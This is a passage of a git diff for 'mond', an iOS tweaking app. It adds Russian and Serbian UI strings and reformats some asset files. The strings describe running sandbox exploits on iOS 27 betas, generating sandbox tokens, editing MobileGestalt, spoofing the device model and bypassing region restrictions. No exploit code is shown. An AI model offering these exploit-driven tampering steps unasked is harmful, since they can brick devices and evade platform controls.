.environmentObject(state) + .onOpenURL { url in + guard is_pb_archive(url) else { + print("(mond) ignoring unsupported URL: \(url.lastPathComponent)") + return + } + + state.append_poster_file(url) + } + .onAppear() { + if !is_supported() { + AlertinatorLocalized.shared.alert(title: NSLocalizedString("not_supported", comment:""), body: NSLocalizedString("check_your_ios", comment:"")) + } + + grant_all(state: state) + } + .overlay { + if state.show_respring { + RespringView() + .brightness(-1.0) + .ignoresSafeArea() + .onAppear { + print("(respring) respringing now...") + } + } + } + } + } +} + +extension UIDocumentPickerViewController { + @objc func fix_init(forOpeningContentTypes contentTypes: [UTType], asCopy: Bool) -> UIDocumentPickerViewController { + return fix_init(forOpeningContentTypes: contentTypes, asCopy: true) + } +} \ No newline at end of file diff --git a/mond/other/Assets.xcassets/AccentColor.colorset/Contents.json b/mond/other/Assets.xcassets/AccentColor.colorset/Contents.json index 06fb5e1..7b984c9 100644 --- a/mond/other/Assets.xcassets/AccentColor.colorset/Contents.json +++ b/mond/other/Assets.xcassets/AccentColor.colorset/Contents.json @@ -1,20 +1,20 @@ -{ - "colors": [ - { - "color": { - "color-space": "extended-srgb", - "components": { - "red": "0.28529", - "green": "0.44118", - "blue": "0.92451", - "alpha": "1.00000" - } - }, - "idiom": "universal" - } - ], - "info": { - "author": "xcode", - "version": 1 - } +{ + "colors": [ + { + "color": { + "color-space": "extended-srgb", + "components": { + "red": "0.28529", + "green": "0.44118", + "blue": "0.92451", + "alpha": "1.00000" + } + }, + "idiom": "universal" + } + ], + "info": { + "author": "xcode", + "version": 1 + } } \ No newline at end of file diff --git a/mond/other/Assets.xcassets/Contents.json b/mond/other/Assets.xcassets/Contents.json index 73c0059..b2cf395 100644 --- a/mond/other/Assets.xcassets/Contents.json +++ b/mond/other/Assets.xcassets/Contents.json @@ -1,6 +1,6 @@ -{ - "info" : { - "author" : "xcode", - "version" : 1 - } -} +{ + "info" : { + "author" : "xcode", + "version" : 1 + } +} diff --git a/mond/other/mond.icon/icon.json b/mond/other/mond.icon/icon.json index ab00294..06aaad7 100644 --- a/mond/other/mond.icon/icon.json +++ b/mond/other/mond.icon/icon.json @@ -1,49 +1,49 @@ -{ - "fill" : { - "linear-gradient" : [ - "extended-srgb:0.00000,0.76471,0.81569,1.00000", - "extended-srgb:0.38039,0.33333,0.96078,1.00000" - ], - "orientation" : { - "start" : { - "x" : 0.5, - "y" : 0 - }, - "stop" : { - "x" : 0.5, - "y" : 0.7 - } - } - }, - "groups" : [ - { - "layers" : [ - { - "image-name" : "moon.stars.fill.png", - "name" : "moon.stars.fill", - "position" : { - "scale" : 0.45, - "translation-in-points" : [ - 0, - 0 - ] - } - } - ], - "shadow" : { - "kind" : "neutral", - "opacity" : 0.5 - }, - "translucency" : { - "enabled" : true, - "value" : 0.5 - } - } - ], - "supported-platforms" : { - "circles" : [ - "watchOS" - ], - "squares" : "shared" - } +{ + "fill" : { + "linear-gradient" : [ + "extended-srgb:0.00000,0.76471,0.81569,1.00000", + "extended-srgb:0.38039,0.33333,0.96078,1.00000" + ], + "orientation" : { + "start" : { + "x" : 0.5, + "y" : 0 + }, + "stop" : { + "x" : 0.5, + "y" : 0.7 + } + } + }, + "groups" : [ + { + "layers" : [ + { + "image-name" : "moon.stars.fill.png", + "name" : "moon.stars.fill", + "position" : { + "scale" : 0.45, + "translation-in-points" : [ + 0, + 0 + ] + } + } + ], + "shadow" : { + "kind" : "neutral", + "opacity" : 0.5 + }, + "translucency" : { + "enabled" : true, + "value" : 0.5 + } + } + ], + "supported-platforms" : { + "circles" : [ + "watchOS" + ], + "squares" : "shared" + } } \ No newline at end of file diff --git a/mond/ru.lproj/CEView.strings b/mond/ru.lproj/CEView.strings new file mode 100644 index 0000000..26863c5 --- /dev/null +++ b/mond/ru.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "истина"; +"false" = "ложь"; +"invalid_integer" = "Неверный Integer"; +"enter_true_false" = "Введите true/false"; +"invalid_base64" = "Неверный base64"; +"no_cache_extra_fields" = "Нет CacheExtra полей"; +"no_results" = "Результатов нет"; +"search_for_keys_or_values" = "Поиск ключей или значений"; +"saved" = "Сохранено"; +"you_must_respring" = "Изменения полей записываются в MobileGestalt. Сделайте респринг, чтобы изменения вступили в силу."; +"type" = "Тип"; +"value" = "Значение"; +"key" = "Ключ"; +"key_name" = "Имя ключа"; +"add_field" = "Добавить поле"; +"add" = "Добавить"; +"key_cant_be_empty" = "Ключ не может быть пустым"; +"key_already_exist" = "Ключ уже существует"; \ No newline at end of file diff --git a/mond/ru.lproj/ContentView.strings b/mond/ru.lproj/ContentView.strings new file mode 100644 index 0000000..43921d9 --- /dev/null +++ b/mond/ru.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Логи"; +"tweaks" = "Твики"; +"only_mobilegestalt_available" = "При выборе метода cmg доступен только MobileGestalt."; +"advanced" = "Для Опытных"; +"advanced_warning" = "Используйте эти настройки, только если знаете, что делаете.\nВы можете что-то необратимо сломать."; \ No newline at end of file diff --git a/mond/ru.lproj/GestaltView.strings b/mond/ru.lproj/GestaltView.strings new file mode 100644 index 0000000..ddb5d7e --- /dev/null +++ b/mond/ru.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "Не перезагружайте устройство!"; +"menu_warning.mg_empty" = "Ваш MobileGestalt.plist, похоже, пуст."; +"menu_warning.mg_invalid" = "Ваш MobileGestalt.plist, похоже, недействителен."; +"menu_warning.bootloop" = "Перезагрузка сейчас может привести к бутлупу. Попробуйте нажать «Отменить твики». Если предупреждения после этого не исчезнут, вам конец."; + +"menu.apply_tweaks" = "Применить твики"; +"menu.revert_tweaks" = "Отменить твики"; +"menu.tweak_warning" = "**ПРЕДУПРЕЖДЕНИЕ:** При неправильном использовании эти твики могут нарушить работу функций устройства или привести к софтбрику!"; + +"artwork.original_subtype_format" = "Оригинальный "; +"artwork.disable_dynamic_island" = "Отключить Dynamic Island"; +"artwork.subtype" = "Подтип"; +"artwork.custom_device_name" = "Кастомное имя устройства"; +"artwork.device_name" = "Имя устройства"; +"artwork.device_artwork" = "Изображение устройства"; + +"software.enable_dynamic_island_capability" = "Включить поддержку Dynamic Island"; +"software.enable_dynamic_island_capability_info" = "Альтернативный способ включить Dynamic Island, используемый Nugget."; +"software.always_on_display" = "Always-On Display"; +"software.always_on_display_info" = "Может увеличить риск выгорания экрана на устройствах, которые официально не поддерживают эту функцию."; +"software.aod_vibrancy" = "Насыщенность AOD"; +"software.aod_vibrancy_info" = "Включите это, если Always-On Display отображается некорректно."; +"software.disable_wallpaper_parallax" = "Отключить параллакс обоев"; +"software.disable_wallpaper_parallax_info" = "Не позволяет обоям двигаться при наклоне или перемещении устройства."; +"software.charge_limit_menu" = "Меню ограничения заряда"; +"software.charge_limit_menu_info" = "Показывает меню в Настройках; фактическое ограничение зарядки зависит от вашего оборудования."; +"software.boot_shutdown_chime" = "Звук включения и выключения"; +"software.boot_shutdown_chime_info" = "Добавляет звуковой сигнал при включении или выключении устройства."; +"software.enable_liquid_glass_low_performance_mode" = "Включить режим низкой производительности Liquid Glass"; +"software.enable_liquid_glass_low_performance_mode_info" = "Предназначено для iOS 26 и новее."; +"software.disable_liquid_glass_low_performance_mode" = "Отключить режим низкой производительности Liquid Glass"; +"software.disable_liquid_glass_low_performance_mode_info" = "Не используйте одновременно с расположенной выше опцией."; +"software.software_oriented_features" = "Программные функции"; + +"hardware.camera_control_settings" = "Настройки Camera Control iPhone 16"; +"hardware.camera_control_settings_info" = "Открывает настройки Camera Control и связанные с ней возможности."; +"hardware.action_button_settings" = "Настройки кнопки действия"; +"hardware.action_button_settings_info" = "Показывает страницу настроек кнопки действия."; +"hardware.collision_sos" = "SOS при столкновении"; +"hardware.collision_sos_info" = "Показывает параметры обнаружения столкновений в настройках SOS."; +"hardware.tap_to_wake" = "Нажатие для пробуждения"; +"hardware.tap_to_wake_info" = "Предназначено для устройств вроде iPhone SE, где пробуждение нажатием иначе недоступно."; +"hardware.pulse_width_modulation" = "Широтно-импульсная модуляция(ШИМ)"; +"hardware.hardware_oriented_features" = "Аппаратные функции"; + +"eligibility.security_research_device_mode" = "Режим устройства для исследований безопасности"; +"eligibility.security_research_device_mode_info" = "Помечает устройство как устройство Apple для исследований безопасности."; +"eligibility.disable_region_restrictions" = "Отключить региональные ограничения"; +"eligibility.disable_region_restrictions_info" = "Этот твик может не работать или не иметь эффекта на некоторых версиях iOS или устройствах."; +"eligibility.disable_region_restrictions_warning" = "Пожалуйста, не используйте эту функцию для обхода региональных ограничений, если это будет означать нарушение региональных законов (например, отключение звука затвора камеры). Мы НЕ несём ответственности за включение каких-либо незаконных действий!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "Как использовать этот твик:\n1. Подмените модель на следующую после первой модели, поддерживаемой Apple Intelligence.\n2. Верните подмену на свою модель.\n3. Установите финальную модель — после этого в Настройках должна появиться иконка Apple Intelligence.\n4. Подключите iPhone к питанию и оставьте открытой вкладку Настройки > Хранилище примерно на 1 час.\n\nПРИМЕЧАНИЕ: Не выполняйте обратную подмену."; +"eligibility.spoofing" = "Подмена модели"; +"eligibility.default_model" = "По умолчанию"; +"eligibility.device_spoofing_info" = "Информация о подмене устройства"; +"eligibility.device_spoofing_info_body" = "Подменяйте модель устройства только если хотите загрузить Apple Intelligence. Это может нарушить работу Face ID. Если вы решите отменить подмену и хотите сохранить Apple Intelligence, НЕ открывайте снова меню Apple Intelligence и Siri в Настройках."; +"eligibility.apple_intelligence_spoof" = "Подмена для Apple Intelligence"; +"eligibility.apple_intelligence_spoof_info" = "Как использовать этот твик:\n1. Подмените модель на следующую после первой модели, поддерживаемой Apple Intelligence.\n2. Верните подмену на свою модель.\n3. Установите финальную модель — после этого в Настройках должна появиться иконка Apple Intelligence.\n4. Подключите iPhone к питанию и оставьте открытой вкладку Настройки > Хранилище примерно на 1 час.\n\nПРИМЕЧАНИЕ: Не выполняйте обратную подмену."; +"eligibility.eligibility" = "Совместимость"; + +"ipados.allow_ipados_apps" = "Разрешить приложения iPad"; +"ipados.allow_ipados_apps_info" = "Позволяет устанавливать приложения iPad на iPhone."; +"ipados.apple_pencil_settings" = "Настройки Apple Pencil"; +"ipados.apple_pencil_settings_info" = "Показывает страницу настроек Apple Pencil."; +"ipados.stage_manager_support" = "Поддержка Stage Manager"; +"ipados.stage_manager_support_info" = "Помечает устройство как поддерживающее Stage Manager."; +"ipados.ipados_mode" = "Включить режим iPadOS"; +"ipados.ipados_mode_info" = "Экспериментальная функция с высоким риском; это очень опасный твик! Если вы используете буквенно-цифровой код-пароль, НЕ ИСПОЛЬЗУЙТЕ ЭТОТ ТВИК! Пожалуйста, не отключайте «Показывать Dock в Stage Manager», иначе устройство войдёт в БУТЛУП при повороте в альбомную ориентацию! Некоторые пользователи также сообщали, что включение интерфейса iPadOS с последующим нажатием Stage Manager может перевести устройство в режим восстановления, даже если сам интерфейс визуально не изменился. Перед этим строка поиска в Настройках может переместиться вверх. Учитывая всё это, вы можете столкнуться с общей нестабильностью или другими серьёзными проблемами, например со случайным исчезновением данных приложений. Но, полагаю, некоторые забавные функции многозадачности, из-за которых устройство всё ещё остаётся относительно непригодным для использования, — это круто? В любом случае, я не собираюсь указывать вам, как пользоваться собственным устройством."; +"ipados.ipados_features" = "Функции iPadOS"; + +"internal.internal_storage_view" = "Просмотр внутреннего хранилища"; +"internal.internal_storage_view_info" = "Показывает внутренние файлы в настройках Хранилища; на некоторых iPad это может быть опасно."; +"internal.internal_features" = "Внутренние функции"; +"internal.apple_internal_install" = "Внутренняя установка Apple"; +"internal.apple_internal_install_info" = "Включает внутренние функции, такие как Metal HUD; некоторые службы могут работать некорректно."; +"internal.internal" = "Внутренние"; + +"warning.failed_to_load_mg" = "Не удалось загрузить текущий MobileGestalt!"; +"warning.restart_and_check_logs" = "Перезапустите приложение и попробуйте снова. Проверьте логи для получения более подробной информации."; +"warning.successfully_applyed_mg" = "Твики Gestalt успешно применены!"; +"warning.respring_to_take_effect" = "Выполните респринг устройства, чтобы изменения вступили в силу. Обратите внимание, что для корректного применения некоторых твиков может потребоваться перезагрузка."; +"warning.failed_to_apply_mg" = "Не удалось применить MobileGestalt!"; +"warning.successfully_reverted_mg" = "Твики Gestalt успешно отменены!"; +"warning.reboot_to_take_effect" = "Перезагрузите устройство, чтобы изменения вступили в силу."; +"warning.failed_to_revert_mg" = "Не удалось отменить MobileGestalt!"; +"warning.check_logs" = "Проверьте логи для получения информации об ошибке."; \ No newline at end of file diff --git a/mond/ru.lproj/LanguageView.strings b/mond/ru.lproj/LanguageView.strings new file mode 100644 index 0000000..9a3d3bb --- /dev/null +++ b/mond/ru.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "Системный язык"; +"system_default_description" = "Использовать язык устройства"; +"language" = "Язык"; +"choose_language" = "Выбор языка"; +"restart_required" = "Требуется перезапуск"; +"exit" = "Выйти"; +"restart_required_message" = "Чтобы смена языка вступила в силу, приложение нужно перезапустить."; \ No newline at end of file diff --git a/mond/ru.lproj/Localizable.strings b/mond/ru.lproj/Localizable.strings new file mode 100644 index 0000000..764e1e6 --- /dev/null +++ b/mond/ru.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* English localization for mond */ +//Keys that used in multiple files or other sht +"warning" = "Предупреждение!"; +"respring" = "Респринг"; +"not_supported" = "Не поддерживается!"; +"check_your_ios" = "Ваша версия iOS может не поддерживаться mond.\nMond поддерживает только iOS 27.0 для разработчиков бета-версий 1–4."; +"cancel" = "Отмена"; +"done" = "Готово"; +"save_failed" = "Не удалось сохранить"; +"information" = "Информация"; \ No newline at end of file diff --git a/mond/ru.lproj/LogsView.strings b/mond/ru.lproj/LogsView.strings new file mode 100644 index 0000000..6a722e2 --- /dev/null +++ b/mond/ru.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Копировать вывод"; \ No newline at end of file diff --git a/mond/ru.lproj/PosterView.strings b/mond/ru.lproj/PosterView.strings new file mode 100644 index 0000000..fb72e2b --- /dev/null +++ b/mond/ru.lproj/PosterView.strings @@ -0,0 +1,15 @@ +"apply" = "Применить"; +"reset" = "Сбросить"; +"import_tendies" = "Импортировать Tendies"; +"explore_tendies" = "Просмотреть Tendies"; +"tendies_warning" = "Импортируйте до 5 пакетов обоев.\n**ПРИМЕЧАНИЕ:** Импортировать более 5 Tendies за раз — плохая идея, а более 15 — УЖАСНАЯ идея. Не говорите, что я вас не предупреждал."; +"imported" = "Импортировано"; +"poster_apply_success_title" = "PosterBoard успешно применён!"; +"poster_take_effect" = "Чтобы изменения вступили в силу:\n1. Нажмите «Открыть», чтобы запустить PosterBoard\n2. Закройте его через переключатель приложений"; +"open" = "Открыть"; +"poster_apply_failed_title" = "Не удалось применить PosterBoard!"; +"poster_apply_failed_body" = "Перезапустите приложение и попробуйте снова. Проверьте логи для получения более подробной информации."; +"poster_reset_success_title" = "Изменения PosterBoard успешно отменены!"; +"poster_reset_success_body" = "Выполните респринг устройства, чтобы изменения вступили в силу."; +"poster_reset_failed_title" = "Не удалось отменить изменения PosterBoard!"; +"poster_reset_failed_body" = "Перезапустите приложение и попробуйте снова. Проверьте логи для получения более подробной информации."; \ No newline at end of file diff --git a/mond/ru.lproj/SantanderView.strings b/mond/ru.lproj/SantanderView.strings new file mode 100644 index 0000000..2c03093 --- /dev/null +++ b/mond/ru.lproj/SantanderView.strings @@ -0,0 +1,17 @@ +"go_to_root" = "Перейти в корень"; +"go_to_home" = "Перейти домой"; +"display_hidden_files" = "Показывать скрытые файлы"; +"sort_az" = "Сортировать от A до Z"; +"sort_za" = "Сортировать от Z до A"; +"save" = "Сохранить"; +"ok" = "ОК"; +"failed_to_render_image" = "Не удалось отобразить изображение"; +"missing_write_permission" = "Отсутствует разрешение на запись."; +"could_not_encode_text" = "Не удалось закодировать текст."; +"invalid_plist_json" = "Изменённый текст не является допустимым документом plist/JSON."; +"no_visible_items" = "Нет видимых элементов. Включите «Показывать скрытые файлы», чтобы отображать dot-файлы."; +"directory_empty" = "Каталог пуст."; +"no_app_containers_found" = "Контейнеры приложений не найдены."; +"cannot_list_directory" = "Невозможно просмотреть содержимое каталога (недостаточно разрешений)."; +"not_a_directory" = "Это не каталог."; +"no_matching_items" = "Подходящие элементы не найдены."; \ No newline at end of file diff --git a/mond/ru.lproj/SettingsView.strings b/mond/ru.lproj/SettingsView.strings new file mode 100644 index 0000000..aa66cdf --- /dev/null +++ b/mond/ru.lproj/SettingsView.strings @@ -0,0 +1,37 @@ +"unknown_app" = "Неизвестное приложение"; +"method" = "Метод"; +"run_exploit" = "Запустить эксплойт"; +"exploit" = "Эксплойт"; +"exploit_method_cmg" = "**CMG:** Поддерживает iOS 27.0 b1–b4. При использовании этого метода работает только MobileGestalt. Используйте его только в том случае, если bad_query у вас не работает."; +"exploit_method_bad_query" = "**bad_query:** Поддерживает iOS 27.0 b1–b4. Автор: [forcequit](https://github.com/forcequitOS)."; +"sandbox_extension_token" = "Токен расширения песочницы."; +"token_class" = "Класс:"; +"token_path" = "Путь:"; +"copy_token" = "Копировать токен"; +"failed_to_get_token" = "Не удалось получить токен."; +"generate_token" = "Сгенерировать токен"; +"token" = "Токен"; +"sandbox_token_valid" = "Ваш токен песочницы действителен."; +"sandbox_token_invalid" = "Ваш токен песочницы недействителен."; +"exploit_failed_version" = "Отключено, поскольку эксплойт не сработал. Поддерживается ли ваша версия iOS?"; +"keep_alive" = "Не завершать работу"; +"keep_alive_info" = "Оставляет приложение работать в фоновом режиме после его закрытия, позволяя ему оставаться активным."; +"dismiss_after_importing" = "Закрывать после импорта"; +"dismiss_after_importing_info" = "Если включено, обозреватель Tendies автоматически закроется после импорта файла .tendies в PosterBoard."; +"persist_after_reboot" = "Сохранить при перезагрузке"; +"persist_after_reboot_info" = "Если включено MobileGestalt записывается на том же индексном дескрипторе, что (к счастью) не позволяет iOS восстанавливать кеш при перезагрузке. Отключите это для использования атомарной замены файлов."; +"ignore_exploit_failure" = "Игнорировать сбои эксплойта"; +"ignore_exploit_failure_info" = "Если этот параметр включен, все настройки будут доступны, даже если эксплойт не удался."; +"settings" = "Настройки"; +"tools" = "Инструменты"; +"respring_method_credits" = "Метод респринга: [neon](https://github.com/neonmodder123), реализация на Swift: [skadz](https://github.com/skadz108)."; +"credit_main_developer" = "Основной разработчик"; +"credit_bad_query_exploit" = "Эксплойт bad_query"; +"credit_mcm_bug_class" = "Его работа над классом ошибок MCM"; +"credit_partyui_gestaltview" = "PartyUI, GestaltView"; +"credit_tendies_repo" = "Репозиторий Tendies"; +"credit_locaclization_project" = "Создание проекта локализации"; +"credits" = "Авторы"; +"are_you_sure" = "Вы уверены?"; +"confirm" = "Подтвердить"; +"confirm_respring" = "Подтвердите, что хотите выполнить респринг."; \ No newline at end of file diff --git a/mond/ru.lproj/TendiesView.strings b/mond/ru.lproj/TendiesView.strings new file mode 100644 index 0000000..2d08960 --- /dev/null +++ b/mond/ru.lproj/TendiesView.strings @@ -0,0 +1,11 @@ +"loading_wallpapers" = "Загрузка обоев…"; +"couldnt_load_tendies" = "Не удалось загрузить Tendies"; +"try_again" = "Попробовать снова"; +"search_wallpapers" = "Поиск обоев"; +"import_failed" = "Не удалось импортировать"; +"ok" = "ОК"; +"add_to_imported" = "Добавить в импортированные"; +"preview_unavailable" = "Предпросмотр недоступен"; +"preview_couldnt_load" = "Не удалось загрузить предпросмотр обоев."; +"downloading" = "Загрузка..."; +"download_failed" = "Не удалось загрузить"; \ No newline at end of file diff --git a/mond/sr.lproj/CEView.strings b/mond/sr.lproj/CEView.strings new file mode 100644 index 0000000..c7ece58 --- /dev/null +++ b/mond/sr.lproj/CEView.strings @@ -0,0 +1,18 @@ +"true" = "истина"; +"false" = "лаж"; +"invalid_integer" = "Погрешан Integer"; +"enter_true_false" = "Унесите true/false"; +"invalid_base64" = "Погрешан base64"; +"no_cache_extra_fields" = "Нема CacheExtra поља"; +"no_results" = "Нема резултата"; +"search_for_keys_or_values" = "Претражи кључеве или вредности"; +"saved" = "Сачувано"; +"you_must_respring" = "Измене поља су уписане у MobileGestalt. Уради RESPRING да би измене ступиле на снагу."; +"type" = "Тип"; +"value" = "Вредност"; +"key" = "Кључ"; +"key_name" = "Назив кључа"; +"add_field" = "Додај поље"; +"add" = "Додај"; +"key_cant_be_empty" = "Кључ не може бити празан"; +"key_already_exist" = "Кључ већ постоји"; \ No newline at end of file diff --git a/mond/sr.lproj/ContentView.strings b/mond/sr.lproj/ContentView.strings new file mode 100644 index 0000000..632149a --- /dev/null +++ b/mond/sr.lproj/ContentView.strings @@ -0,0 +1,5 @@ +"logs" = "Логови"; +"tweaks" = "Модификације"; +"only_mobilegestalt_available" = "Када је метод подешен на cmg, доступан је само MobileGestalt."; +"advanced" = "Напредно"; +"advanced_warning" = "Користите ове измене само ако знате шта радите.\nМожете неповратно покварити нешто."; \ No newline at end of file diff --git a/mond/sr.lproj/GestaltView.strings b/mond/sr.lproj/GestaltView.strings new file mode 100644 index 0000000..f1b991f --- /dev/null +++ b/mond/sr.lproj/GestaltView.strings @@ -0,0 +1,86 @@ +"menu_warning.do_not_reboot" = "Не рестартујте!"; +"menu_warning.mg_empty" = "Ваш MobileGestalt.plist изгледа празно."; +"menu_warning.mg_invalid" = "Ваш MobileGestalt.plist изгледа неважеће."; +"menu_warning.bootloop" = "Рестартовање сада може изазвати bootloop. Покушајте да притиснете „Ресетуј модификације“. Ако упозорења не нестану након тога, стварно сте надрљали."; + +"menu.apply_tweaks" = "Примени модификације"; +"menu.revert_tweaks" = "Врати модификације"; +"menu.tweak_warning" = "**УПОЗОРЕЊЕ:** Ове модификације могу покварити функције на вашем уређају или изазвати softbrick ако се погрешно користе!"; + +"artwork.original_subtype_format" = "Оригинално "; +"artwork.disable_dynamic_island" = "Уклони Dynamic Island"; +"artwork.subtype" = "Подтип"; +"artwork.custom_device_name" = "Прилагођени назив уређаја"; +"artwork.device_name" = "Назив уређаја"; +"artwork.device_artwork" = "Графика уређаја"; + +"software.enable_dynamic_island_capability" = "Укључи Dynamic Island могућност"; +"software.enable_dynamic_island_capability_info" = "Алтернативни начин за укључивање Dynamic Island-а, као у Nugget-у."; +"software.always_on_display" = "Always-On Display"; +"software.always_on_display_info" = "Може повећати ризик изгоревања пиксела на екрану на уређајима који то званично не подржавају."; +"software.aod_vibrancy" = "AOD Vibrancy"; +"software.aod_vibrancy_info" = "Укључите ово ако се Always-On Display приказује неисправно."; +"software.disable_wallpaper_parallax" = "Угасите паралаксу позадине"; +"software.disable_wallpaper_parallax_info" = "Спречава померање позадине када нагнете или померите уређај."; +"software.charge_limit_menu" = "Мени ограничења пуњења"; +"software.charge_limit_menu_info" = "Приказује мени у Подешавањима; да ли заиста ограничава пуњење зависи од хардвера."; +"software.boot_shutdown_chime" = "Звук при укључивању и искључивању"; +"software.boot_shutdown_chime_info" = "Укључите звук када се уређај укључује или искључује."; +"software.enable_liquid_glass_low_performance_mode" = "Укључите режим ниских перформанси Liquid Glass-а"; +"software.enable_liquid_glass_low_performance_mode_info" = "Намењено за iOS 26 и новије верзије."; +"software.disable_liquid_glass_low_performance_mode" = "Угасите режим ниских перформанси Liquid Glass-а"; +"software.disable_liquid_glass_low_performance_mode_info" = "Немојте користити истовремено са опцијом изнад."; +"software.software_oriented_features" = "Софтверске функције"; + +"hardware.camera_control_settings" = "Подешавања Camera Control-а као за iPhone 16"; +"hardware.camera_control_settings_info" = "Приказује подешавања Camera Control-а и повезане могућности."; +"hardware.action_button_settings" = "Подешавања Action Button-а"; +"hardware.action_button_settings_info" = "Приказује страницу са подешавањима Action Button-а."; +"hardware.collision_sos" = "SOS при детекцији судара"; +"hardware.collision_sos_info" = "Приказује опције детекције судара у SOS подешавањима."; +"hardware.tap_to_wake" = "Додирни за укључивање"; +"hardware.tap_to_wake_info" = "Намењено уређајима као што је iPhone SE, на којима укључивање додиром иначе није доступно."; +"hardware.pulse_width_modulation" = "Модулација ширине импулса"; +"hardware.hardware_oriented_features" = "Хардверска функција"; + +"eligibility.security_research_device_mode" = "Режим уређаја за безбедносна истраживања"; +"eligibility.security_research_device_mode_info" = "Означава уређај као Apple уређај за безбедносна истраживања."; +"eligibility.disable_region_restrictions" = "Уклоните регионална ограничења"; +"eligibility.disable_region_restrictions_info" = "Ова измена можда не ради или нема ефекта на неким верзијама iOS-а или уређајима."; +"eligibility.disable_region_restrictions_warning" = "Немојте користити ову функцију за заобилажење регионалних ограничења које би значило кршење локалних закона (нпр. онемогућавање звука затварача камере). НЕ СНОСИМО одговорност за омогућавање било каквих незаконитих активности!"; +"eligibility.apple_intelligence" = "Apple Intelligence"; +"eligibility.apple_intelligence_info" = "Како користити ову измену:\n1. Подесите модел на онај који је одмах после првог модела који Apple Intelligence подржава.\n2. Вратите се на свој модел.\n3. Подесите коначни модел и требало би да видите икону Apple Intelligence у Подешавањима.\n4. Повежите iPhone на напајање и оставите отворену картицу Подешавања > Меморија око 1 сат.\n\nНАПОМЕНА: Немојте се враћати назад."; +"eligibility.spoofing" = "Лажирање модела"; +"eligibility.default_model" = "Подразумевано"; +"eligibility.device_spoofing_info" = "Информације о лажирању уређаја"; +"eligibility.device_spoofing_info_body" = "Лажирајте модел уређаја само ако желите да преузмете Apple Intelligence. Ово може покварити Face ID. Ако одлучите да уклоните лажирање и желите да задржите Apple Intelligence, НЕ отварајте поново мени Apple Intelligence и Siri у Подешавањима."; +"eligibility.apple_intelligence_spoof" = "Лажирање за Apple Intelligence"; +"eligibility.apple_intelligence_spoof_info" = "Како користити ову измену:\n1. Подесите модел на онај који је одмах после првог модела који Apple Intelligence подржава.\n2. Вратите се на свој модел.\n3. Подесите коначни модел и требало би да видите икону Apple Intelligence у Подешавањима.\n4. Повежите iPhone на напајање и оставите отворену картицу Подешавања > Меморија око 1 сат.\n\nНАПОМЕНА: Немојте се враћати назад."; +"eligibility.eligibility" = "Подобност"; + +"ipados.allow_ipados_apps" = "Дозволи iPad апликације"; +"ipados.allow_ipados_apps_info" = "Омогућава инсталирање iPad апликација на iPhone."; +"ipados.apple_pencil_settings" = "Подешавања Apple Pencil-а"; +"ipados.apple_pencil_settings_info" = "Приказује страницу са подешавањима Apple Pencil-а."; +"ipados.stage_manager_support" = "Подршка за Stage Manager"; +"ipados.stage_manager_support_info" = "Означава уређај као способан за Stage Manager."; +"ipados.ipados_mode" = "Омогући iPadOS режим"; +"ipados.ipados_mode_info" = "Ризична и експериментална функција; ово је веома опасна измена! Ако користите алфанумеричку шифру, НЕ КОРИСТИТЕ ОВУ ИЗМЕНУ! Немојте искључивати „Прикажи Dock у Stage Manager-у“ јер ће ваш уређај ући у бутлуп при ротирању у пејзажни режим! Неки корисници су такође пријавили да омогућавање iPadOS интерфејса, а затим додиривање Stage Manager-а, може пребацити уређај у Recovery Mode, чак и када сам интерфејс изгледа непромењено. Имајући ово троје на уму, можете доживети општу нестабилност или друге озбиљне проблеме, као што је насумично нестајање података апликација. Али ваљда су неке смешне функције мултитаскинга које и даље чине уређај релативно неупотребљивим кул? Како год, човече, нисам овде да ти говорим како да користите сопствени уређај."; +"ipados.ipados_features" = "iPadOS функције"; + +"internal.internal_storage_view" = "Приказ интерне меморије"; +"internal.internal_storage_view_info" = "Приказује интерне датотеке у подешавањима меморије; на неким iPad уређајима може бити опасно."; +"internal.internal_features" = "Интерне функције"; +"internal.apple_internal_install" = "Интерна Apple инсталација"; +"internal.apple_internal_install_info" = "Укључује интерне функције као што је Metal HUD; Неке сервисе могу радити неисправно."; +"internal.internal" = "Интерно"; + +"warning.failed_to_load_mg" = "Учитавање тренутног MobileGestalt-а није успело!"; +"warning.restart_and_check_logs" = "Поново покрените апликацију и покушајте поново. Погледајте логове за детаљније информације."; +"warning.successfully_applyed_mg" = "Gestalt измене су успешно примењене!"; +"warning.respring_to_take_effect" = "Урадите respring уређаја да би промене ступиле на снагу. Имајте на уму да неке измене могу захтевати поновно покретање да би се правилно примениле."; +"warning.failed_to_apply_mg" = "Примена MobileGestalt-а није успела!"; +"warning.successfully_reverted_mg" = "Gestalt измене су успешно ресетоване!"; +"warning.reboot_to_take_effect" = "Поново покрените уређај да би промене ступиле на снагу."; +"warning.failed_to_revert_mg" = "Рестартовање MobileGestalt-а није успело!"; +"warning.check_logs" = "Проверите логове за информације о грешци."; \ No newline at end of file diff --git a/mond/sr.lproj/LanguageView.strings b/mond/sr.lproj/LanguageView.strings new file mode 100644 index 0000000..e940bbd --- /dev/null +++ b/mond/sr.lproj/LanguageView.strings @@ -0,0 +1,7 @@ +"system_default" = "Системски язык"; +"system_default_description" = "Користи језик уређаја"; +"language" = "Језик"; +"choose_language" = "Избор језика"; +"restart_required" = "Потребан рестарт"; +"exit" = "Изаћи"; +"restart_required_message" = "Да би промена језика ступила на снагу, апликацију је потребно поново покренути."; \ No newline at end of file diff --git a/mond/sr.lproj/Localizable.strings b/mond/sr.lproj/Localizable.strings new file mode 100644 index 0000000..2a1d9a6 --- /dev/null +++ b/mond/sr.lproj/Localizable.strings @@ -0,0 +1,10 @@ +/* Serbian localization for mond */ + +"warning" = "Упозорење!"; +"respring" = "Respring"; +"not_supported" = "Није подржано!"; +"check_your_ios" = "Ваша верзија iOS-а можда није подржана у апликацији mond.\nMond подржава само iOS 27.0 developer beta 1 - 4."; +"cancel" = "Откажи"; +"done" = "Готово"; +"save_failed" = "Није сачувано"; +"information" = "Информације"; \ No newline at end of file diff --git a/mond/sr.lproj/LogsView.strings b/mond/sr.lproj/LogsView.strings new file mode 100644 index 0000000..7cfa9f3 --- /dev/null +++ b/mond/sr.lproj/LogsView.strings @@ -0,0 +1 @@ +"copy_output" = "Копирај Испис"; \ No newline at end of file diff --git 